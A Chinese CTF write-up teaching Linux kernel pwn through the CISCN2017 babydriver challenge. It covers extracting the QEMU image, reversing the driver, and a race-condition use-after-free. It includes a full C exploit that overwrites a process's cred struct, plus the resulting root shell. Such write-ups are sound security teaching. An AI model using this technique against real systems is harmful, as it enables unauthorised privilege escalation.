通過一道簡單的例題了解Linux核心PWN

unr4v31發表於2021-12-23

寫在前面

這篇文章目的在於簡單介紹核心PWN題,揭開核心的神祕面紗。背後的知識點包含Linux驅動和核心原始碼,學習路線非常陡峭。也就是說,會一道Linux核心PWN需要非常多的鋪墊知識,如果要學習可以先從UNICORN、QEMU開始看起,然後看Linux驅動的內容,最後看Linux的記憶體管理、程式排程和檔案的實現原理。至於核心API函式不用死記硬背,用到的時候再查都來得及。

題目概述

這題是參考ctf-wiki上的核心例題,題目名稱CISCN2017_babydriver,是一道簡單的核心入門題,所牽涉的知識點並不多。題目附件可以在ctf-wiki的GitHub倉庫找到:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/CISCN2017-babydriver

  • 首先將題目附件下載下來,解壓後得到所有的檔案如下:

    .
    ├── boot.sh     # 啟動指令碼,執行這個指令碼來啟動QEMU
    ├── bzImage     # 壓縮過的核心映象
    └── rootfs.cpio # 作為初始RAM磁碟的檔案
    
  • 檢視啟動指令碼boot.sh內容如下:

    #!/bin/bash
    
    qemu-system-x86_64 \
    -initrd rootfs.cpio \      # 指定使用rootfs.cpio作為初始RAM磁碟。可以使用cpio 命令提取這個cpio檔案,提取出裡面的需要的檔案,比如init指令碼和babydriver.ko的驅動檔案。提取操作的命令放在下面的操作步驟中
    -kernel bzImage \          # 使用當前目錄的bzImage作為核心映象
    -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \  # 使用後面的字串作為核心命令列
    -enable-kvm \              # 啟用加速器
    -monitor /dev/null \       # 將監視器重定向到字元裝置/dev/null
    -m 64M \                   # 引數設定RAM大小為64M
    --nographic  \             # 引數禁用圖形輸出並將序列I/O重定向到控制檯
    -smp cores=1,threads=1 \   # 引數將CPU設定為1核心1執行緒
    -cpu kvm64,+smep           # 引數選擇CPU為kvm64,開啟了smep保護,無法在ring 0級別執行使用者程式碼
    
  • 檔案bzImage是壓縮編譯的核心映象檔案。有些題目會提供vmlinux檔案,它是未被壓縮的映象檔案。這個題目沒有提供,但也不要緊,可以用指令碼提取出vmlinux,而使用vmlinux的目的也就是找gadget,提取vmlinux的指令碼也可以在Linux的GitHub上找到:https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux。把程式碼複製到檔案中,儲存為extract-vmlinux,然後賦予執行許可權。提取vmlinux命令如下:

    ./extract-vmlinux ./bzImage > vmlinux
    

    可以使用ropper在提取的vmlinux中搜尋gadget,ropper比ROPgadget快很多:

    ropper --file ./vmlinux --nocolor > g1
    
  • rootfs.cpio是啟動核心的RAM磁碟檔案,可以把它看作一個微型Linux檔案系統。使用file命令檢視可以看到它是gzip格式:

    unravel@unravel:~/pwn$ file rootfs.cpio
    rootfs.cpio: gzip compressed data, last modified: Tue Jul  4 08:39:15 2017, max compression, from Unix, original size modulo 2^32 2844672
    

    我們將rootfs.cpio改名為rootfs.cpio.gz,然後將它解壓出來:

    unravel@unravel:~/pwn$ ls
    boot.sh  bzImage  rootfs.cpio
    
    unravel@unravel:~/pwn$ mv rootfs.cpio rootfs.cpio.gz
    unravel@unravel:~/pwn$ ls
    boot.sh  bzImage  rootfs.cpio.gz
    
    unravel@unravel:~/pwn$ gunzip rootfs.cpio.gz
    unravel@unravel:~/pwn$ ls
    boot.sh  bzImage  rootfs.cpio
    
    unravel@unravel:~/pwn$ file rootfs.cpio
    rootfs.cpio: ASCII cpio archive (SVR4 with no CRC)
    

    因為rootfs.cpio裡面包含一些檔案系統,它的檔案比較多,我們可以建立一個資料夾,然後用cpio命令把所有檔案提取到新建的資料夾下,保證一個乾淨的根目錄,後面也將內容重新打包:

    unravel@unravel:~/pwn$ mkdir core && cp rootfs.cpio core && cd core && cpio -idmv < rootfs.cpio
    
    unravel@unravel:~/pwn/core$ ls
    bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
    

啟動檔案和驅動程式函式

  • 在我們上一步解壓完rootfs.cpio之後可以看到它就是Linux的檔案系統。在根目錄下里面有一個「init」檔案,它決定啟動哪些程式,比如執行某些指令碼和啟動shell。它的內容如下,除了insmod命令之外都是Linux的基本命令便不再贅述:

    #!/bin/sh
    
    mount -t proc none /proc
    mount -t sysfs none /sys
    mount -t devtmpfs devtmpfs /dev
    chown root:root flag
    chmod 400 flag
    exec 0</dev/console
    exec 1>/dev/console
    exec 2>/dev/console
    
    insmod /lib/modules/4.4.72/babydriver.ko  # insmod命令載入了一個名為babydriver.ko的驅動,根據一般的PWN題套路,這個就是有漏洞的LKM了
    chmod 777 /dev/babydev
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n" 
    setsid cttyhack setuidgid 1000 sh
    
    umount /proc
    umount /sys
    poweroff -d 0  -f
    
  • 在init檔案中看到用insmod命令載入了babydriver.ko驅動,那麼我們把這個驅動拿出來,檢查一下開啟的保護:

    unravel@unravel:~/pwn/core/lib/modules/4.4.72$ checksec --file=babydriver.ko
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
    No RELRO        No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   64 Symbols     No	0		0	babydriver.ko
    

    可以看到程式保留了符號資訊,其他保護都沒有開啟

  • 把驅動程式放到IDA裡面檢視程式邏輯,除了init初始化和exit外還有5個函式:

    • babyrelease:主要功能是釋放空間

      int __fastcall babyrelease(inode *inode, file *filp)
      {
        _fentry__(inode, filp);
        kfree(babydev_struct.device_buf);
        printk("device release\n");
        return 0;
      }
      
    • babyopen:呼叫kmem_cache_alloc_trace函式申請一塊大小為64位元組的空間,返回值儲存在device_buf中,並設定device_buf_len

      int __fastcall babyopen(inode *inode, file *filp)
      {
        _fentry__(inode, filp);
        babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 64LL);
        babydev_struct.device_buf_len = 64LL;
        printk("device open\n");
        return 0;
      }
      
    • babyioctl:定義0x10001的命令,這條命令可以釋放剛才申請的device_buf,然後重新申請一個使用者傳入的記憶體,並設定device_buf_len

      __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
      {
        size_t v3; // rdx
        size_t v4; // rbx
      
        _fentry__(filp, command);
        v4 = v3;
        if ( command == 0x10001 )
        {
          kfree(babydev_struct.device_buf);
          babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
          babydev_struct.device_buf_len = v4;
          printk("alloc done\n");
          return 0LL;
        }
        else
        {
          printk(&unk_2EB);
          return -22LL;
        }
      }
      
    • babywritecopy_from_user是從使用者空間拷貝資料到核心空間,應當接受三個引數copy_from_user(char*, char*,int),IDA裡面是沒有識別成功,需要手動按Y鍵修復。babywrite函式先檢查長度是否小於device_buf_len,然後把 buffer 中的資料拷貝到 device_buf

      ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
      {
        size_t v4; // rdx
        ssize_t result; // rax
        ssize_t v6; // rbx
      
        _fentry__(filp, buffer);
        if ( !babydev_struct.device_buf )
          return -1LL;
        result = -2LL;
        if ( babydev_struct.device_buf_len > v4 )
        {
          v6 = v4;
          copy_from_user(babydev_struct.device_buf, (char *)buffer, v4);
          result = v6;
        }
        return result;
      }
      
    • babyread:和babywrite差不多,不過是把device_buf拷貝到buffer

      ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
      {
        size_t v4; // rdx
        ssize_t result; // rax
        ssize_t v6; // rbx
      
        _fentry__(filp, buffer);
        if ( !babydev_struct.device_buf )
          return -1LL;
        result = -2LL;
        if ( babydev_struct.device_buf_len > v4 )
        {
          v6 = v4;
          copy_to_user(buffer, babydev_struct.device_buf, v4);
          result = v6;
        }
        return result;
      }
      

漏洞點和利用思路

  • 值得注意的是驅動程式中的函式操作都使用同一個變數babydev_struct,而babydev_struct是全域性變數,漏洞點在於多個裝置同時操作這個變數會將變數覆蓋為最後改動的內容,沒有對全域性變數上鎖,導致條件競爭

  • 我們使用ioctl同時開啟兩個裝置,第二次開啟的內容會覆蓋掉第一次開啟裝置的babydev_struct ,如果釋放第一個,那麼第二個理論上也被釋放了,實際上並沒有,就造成了一個UAF

  • 釋放其中一個後,使用fork,那麼這個新程式的cred空間就會和之前釋放的空間重疊

  • 利用那個沒有釋放的描述符對這塊空間寫入,把cred結構體中的uidgid改為0,就可實現提權

  • 還有在修改時需要知道cred結構的大小,可以根據核心版本可以檢視原始碼,計算出cred結構大小是0xa8,不同版本的核心原始碼這個結構體的大小都不一樣

exp程式碼

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 開啟兩次裝置
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改 babydev_struct.device_buf_len 為 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);

    // 釋放 fd1
    close(fd1);

    // 新起程式的 cred 空間會和剛剛釋放的 babydev_struct 重疊
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }

    else if(pid == 0)
    {
        // 通過更改 fd2,修改新程式的 cred 的 uid,gid 等值為0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }

    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

執行exp

需要將編寫的exp編譯成可執行檔案,然後把它複製到rootfs.cpio提取出來的檔案系統中,再將檔案系統重新打包成cpio,這樣在核心重新執行的時候就有exp這個檔案了。

  • 將exp編譯好,注意需要改為靜態編譯,因為我們的核心是沒有動態連結的:

    unravel@unravel:~/pwn$ gcc exp.c -static -o exp
    
  • 接下來我們複製exp到檔案系統下,然後使用cpio命令重新打包:

    unravel@unravel:~/pwn$ cp exp core/tmp/
    unravel@unravel:~/pwn$ cd core/
    unravel@unravel:~/pwn/core$ ls
    bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
    
    unravel@unravel:~/pwn/core$ find . | cpio -o --format=newc > rootfs.cpio
    cpio: File ./rootfs.cpio grew, 3522560 new bytes not copied
    14160 blocks
    
    unravel@unravel:~/pwn/core$ cp rootfs.cpio ..
    
  • 下一步就可以重新執行核心了。執行boot.sh啟動核心後,在剛才拷貝的/tmp目錄下找到exp可執行程式:

    / $ ls -la /tmp/
    total 864
    drwxrwxr-x    2 ctf      ctf              0 Dec 16 09:35 .
    drwxrwxr-x   13 ctf      ctf              0 Dec 17 08:35 ..
    -rwxrwxr-x    1 ctf      ctf         883168 Dec 17 08:30 exp
    
  • 執行後可得到root許可權,提權成功:

    / $ id
    uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
    
    / $ /tmp/exp
    [  115.517513] device open
    [  115.522342] device open
    [  115.527241] alloc done
    [  115.532132] device release
    [+] root now.
    
    / # id
    uid=0(root) gid=0(root) groups=1000(ctf)
    

除錯

  • 可以在boot.sh檔案中新增-s引數來使用gdb除錯,它預設埠1234。也可以指定埠號進行除錯,只需要使用-gdb tcp:port即可。在啟動的核心中使用lsmod檢視載入的驅動基地址,得到0xffffffffc0000000,然後啟動gdb,使用target remote指定除錯IP和埠號進行除錯,然後新增babydriver的符號資訊,過程如下:

    # 在QEMU執行的核心中執行如下命令
    / $ lsmod
    babydriver 16384 0 - Live 0xffffffffc0000000 (OE)
    
    # 啟動gdb,配置除錯資訊
    gdb -q
    
    gef➤  target remote localhost:1234
    Remote debugging using localhost:1234
    
    gef➤  add-symbol-file pwn/core/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000
    add symbol table from file "pwn/core/lib/modules/4.4.72/babydriver.ko"
    Reading symbols from pwn/core/lib/modules/4.4.72/babydriver.ko...
    
  • 這裡建議使用gef外掛,pwndbg和peda除錯核心總有一些玄學問題。如果gef報錯context相關問題(如下圖),在gdb中輸入命令python set_arch()就可以檢視除錯上下文了:

  • 我們之前在gdb中使用add-symbol-file命令載入了babydriver.ko的符號資訊,並指定了載入基地址,在下斷點的時候可以直接使用符號來打斷點:

總結

通過一道題認識了核心PWN的解題步驟,以及如何對核心進行除錯。對於不知道用法的核心函式和結構體,可以在manned.org網站或者原始碼中檢視。

參考資料

CTF-WIKI連結:https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/uaf/#_2

Linux線上原始碼:https://elixir.bootlin.com/linux/v4.4.72/source/mm/slab.c#L3431

MannedOrg:https://manned.org/kmalloc.3

QEMU手冊:https://www.qemu.org/docs/master/system/quickstart.html

UNICORN:https://www.unicorn-engine.org/docs/

相關文章